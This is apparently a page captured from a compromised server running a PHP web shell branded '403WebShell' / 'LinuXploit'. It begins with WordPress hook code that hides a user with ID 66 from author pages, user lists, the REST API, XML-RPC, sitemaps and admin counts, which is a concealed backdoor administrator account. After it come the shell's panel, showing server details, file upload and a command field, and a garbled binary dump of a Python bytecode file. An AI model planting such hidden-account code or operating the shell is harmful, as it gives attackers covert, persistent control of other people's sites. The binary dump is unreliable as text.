add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/incremental/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/incremental/__pycache__/update.cpython-312.pyc
�

ؒ�e�"��x�ddlmZmZmZddlZddlZddlZddlmZm	Z	m
Z
mZmZddl
mZerddlmZGd�de�ZGd�d	e�Zndd
lmZdZdZd
�Zd�Zddefd�Zej6�ej8d�ej:dd��ej:dd��ej:dd��ej:dd��ej:dd��ej:dd��ej:dd��d����������Zedk(re�yy)�)�absolute_import�division�print_functionN)�
TYPE_CHECKING�Dict�Optional�Callable�Iterable)�Version)�Protocolc�$�eZdZd�Zd�Zd�Zd�Zy)�_ReadableWritablec��y�N���selfs �4/usr/lib/python3/dist-packages/incremental/update.py�readz_ReadableWritable.read����c��yrr�r�vs  r�writez_ReadableWritable.writerrc��yrrrs r�	__enter__z_ReadableWritable.__enter__rrc��yrr)r�args�kwargss   r�__exit__z_ReadableWritable.__exit__rrN)�__name__�
__module__�__qualname__rrrr!rrrrrs��	�	�	�	rrc�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�FilePathc��||_yr)�path)rr(s  r�__init__zFilePath.__init__ s	���D�Irc��yrrrs  r�childzFilePath.child#rrc��yrrrs r�isdirzFilePath.isdir&rrc��yrrrs r�isfilezFilePath.isfile)rrc��yrrrs r�
getContentzFilePath.getContent,rrc��yrr)r�modes  r�openz
FilePath.open/rrc��yrrrs r�walkz
FilePath.walk2rrN)
r"r#r$r)r+r-r/r1r4r6rrrr&r&s%��	�	�	�	�	�	�	rr&)r&z�"""
Provides {package} version information.
"""

# This file is auto-generated! Do not edit!
# Use `python -m incremental.update {package}` to change this file.

from incremental import Version

__version__ = {version_repr}
__all__ = ["__version__"]
i�c��t|�}|jd�j|j��}|j|j��}|j�r|S|j�r|St	d��)N�srcz�Can't find under `./src` or `./`. Check the package name is right (note that we expect your package name to be lower cased), or pass it using '--path'.)r&r+�lowerr-�
ValueError)r(�package�cwd�src_dir�current_dirs     r�	_findPathr?Isp��
�4�.�C��i�i���$�$�W�]�]�_�5�G��)�)�G�M�M�O�,�K��}�}����	�	�	�	����
�
�	
rc��i}|jd�jd�5}t|j�|�ddd�|dS#1swY|dSxYw)N�_version.py�r�__version__)r+r4�execr)r(�version_info�fs   r�_existing_versionrG]sZ���L�	
���M�	"�	'�	'��	,�%���Q�V�V�X�|�$�%��
�&�&�%��
�&�&�s�A�Ac
�F
�|	stj}	|stjj	�}t|�tk7r|jd�}|rt|�nt|	�|�}|r|s|r|s|r|s|r
|rtd��|r|s|r|s|r
|rtd��|r|s|r|s|r|s|r|s|r
|rtd��|r�ddlm}t|�}
||�j}t|j �}d}d}t#|�dk(r|\}nt#|�dk(r|\}}n|\}}}t%|||||j&r|j&dnd|j(r|j(dnd|j*r|j*dnd�	�}�n|r-t%||j,t.z
|j0d�}|}
�n�|r�|st|�}
|
j2r<t%||
j4|
j6|
j8|
j2dz�}�n}t%||j,t.z
|j0dd�}�nQ|rAt|�}
t%||
j4|
j6|
j8dz|rdnd�}�n|rXt|�}
|
j(�d}n|
j(dz}t%||
j4|
j6|
j8|�
�}n�|rct|�}
|
j*�d}n|
j*dz}t%||
j4|
j6|
j8|
j2|��}nOt|�}
|
j2r-t%||
j4|
j6|
j8�}ntd��t;t%|d
dd��j=d�dj?dd�}|jd�}t;|�j=d�dj?dd�}|jd�}t;|
�j=d�dj?dd�}|jd�}|
d|jA�z�|jC�D�]�}|jE�s�|jG�}|}|
j2r�|j?||�}|j?|jd�dz|
jA�jd�z|jd�dz|jA�jd�z�}|j?||�}|j?|j?dd�|�}|j?|jd�dz|jd�dz|jA�jd�z�}||k7s��L|
d|jH���|jKd�5}|jM|�ddd����|
d|jHz�|jOd�jKd�5}|jMtPjS||��jd��ddd�y#1swY��
xYw#1swYyxYw)N�utf8zOnly give --newversionzOnly give --devzOnly give --creater)�
parse_version��)�release_candidate�post�dev)rN)rOz6You need to issue a rc before updating the major/minor�NEXT�#�'�"zUpdating codebase to %s� �'�"s NEXTz	Updating �wzUpdating %s/_version.pyrA)r;�version_repr)*�os�getcwd�datetime�date�today�type�str�encoder&r?r:�
pkg_resourcesrJrG�_version�list�release�lenr�prerNrO�year�_YEAR_START�monthrM�major�minor�micro�repr�split�replace�publicr6r/r1r(r4rr+�_VERSIONPY_TEMPLATE�format) r;r(�
newversion�patch�rcrNrO�create�_date�_getcwd�_print�_pathrJ�existing�
st_versionrdrkrlrjr�_post�_dev�	NEXT_repr�NEXT_repr_bytesrX�version_repr_bytes�existing_version_repr�existing_version_repr_bytes�x�original_content�contentrFs                                 r�_runr�fs�����)�)����
�
�#�#�%���G�}����.�.��(��"�H�T�N�	�'�)�W�(E�E�	���������1�2�2�
�u���c�d��*�+�+�	�����������-�.�.��/�$�U�+��"�:�.�7�7�
��z�)�)�*�������w�<�1���H�U�
��\�Q�
�"�L�E�5�")��E�5�%������3=�>�>�j�n�n�Q�/�t�'1�������#�D�%/�^�^�
���q�!��
��
��G�U�Z�Z�+�5�u�{�{�A�F����	�E�$�U�+���%�%�������������*�*�Q�.��A������k�!9�5�;�;��1�M�A�	�$�U�+�����N�N��N�N��N�N�Q���A��
��
�$�U�+���=�=� ��E��M�M�A�%�E��G�X�^�^�X�^�^�X�^�^�RW�X��	�$�U�+���<�<���D��<�<�!�#�D����N�N��N�N��N�N��&�&��

��%�U�+���%�%������������P�A��U�V�V��W�W�f�a��3�4�:�:�3�?��B�J�J�3�PS�T�I��&�&�v�.�O���7�=�=��%�a�(�0�0��c�:�L�%�,�,�V�4�� ��N�0�0��5�a�8�@�@��c�J��"7�">�">�v�"F��
�$����
�3�4�
�Z�Z�\�!���x�x�z���<�<�>��"���%�%��o�o�&A�CU�V�G��o�o�����'�$�.����1B�1I�1I�&�1Q�Q�����'�$�.�����1B�1B�6�1J�J��G��/�/�/�3E�F���/�/��#�#�D�$�/�1C�
��
�/�/��N�N�6�"�X�-�
�^�^�F�
#�d�
*�Q�X�X�Z�->�->�v�-F�
F�
��
�&�&��A�F�F�,�-������
!������ �
!�
!�=!�B�$��
�
�3�4�	���]�	#�	(�	(��	-�
��	���#�*�*�7��*�V��f�V�n�	
�
�
�	
!�
!��
�
�s�9Z
�6Z�
Z	�Z r;z--path)�defaultz--newversionz--patchT)�is_flagz--rcz--postz--devz--createc
�(�t||||||||��S)N�r;r(rsrtrurNrOrv)r�r�s        r�runr�+s)��&��
���
�
���	�	r�__main__) �
__future__rrr�clickrYr[�typingrrrr	r
�incrementalr�typing_extensionsrr�objectr&�twisted.python.filepathrqrhr?rG�printr��command�argument�optionr�r"rrr�<module>r�sD��A�@��	��D�D���*��H���6��01�����
�('�$���B
�J���������	��
����h��%�
����n�d�+�
����i��&�
����f�d�#�
����h��%�
����g�t�$�
����j�$�'��(�%�&�$�'�,�&����,�z���E�r

Youez - 2016 - github.com/yon3zu
LinuXploit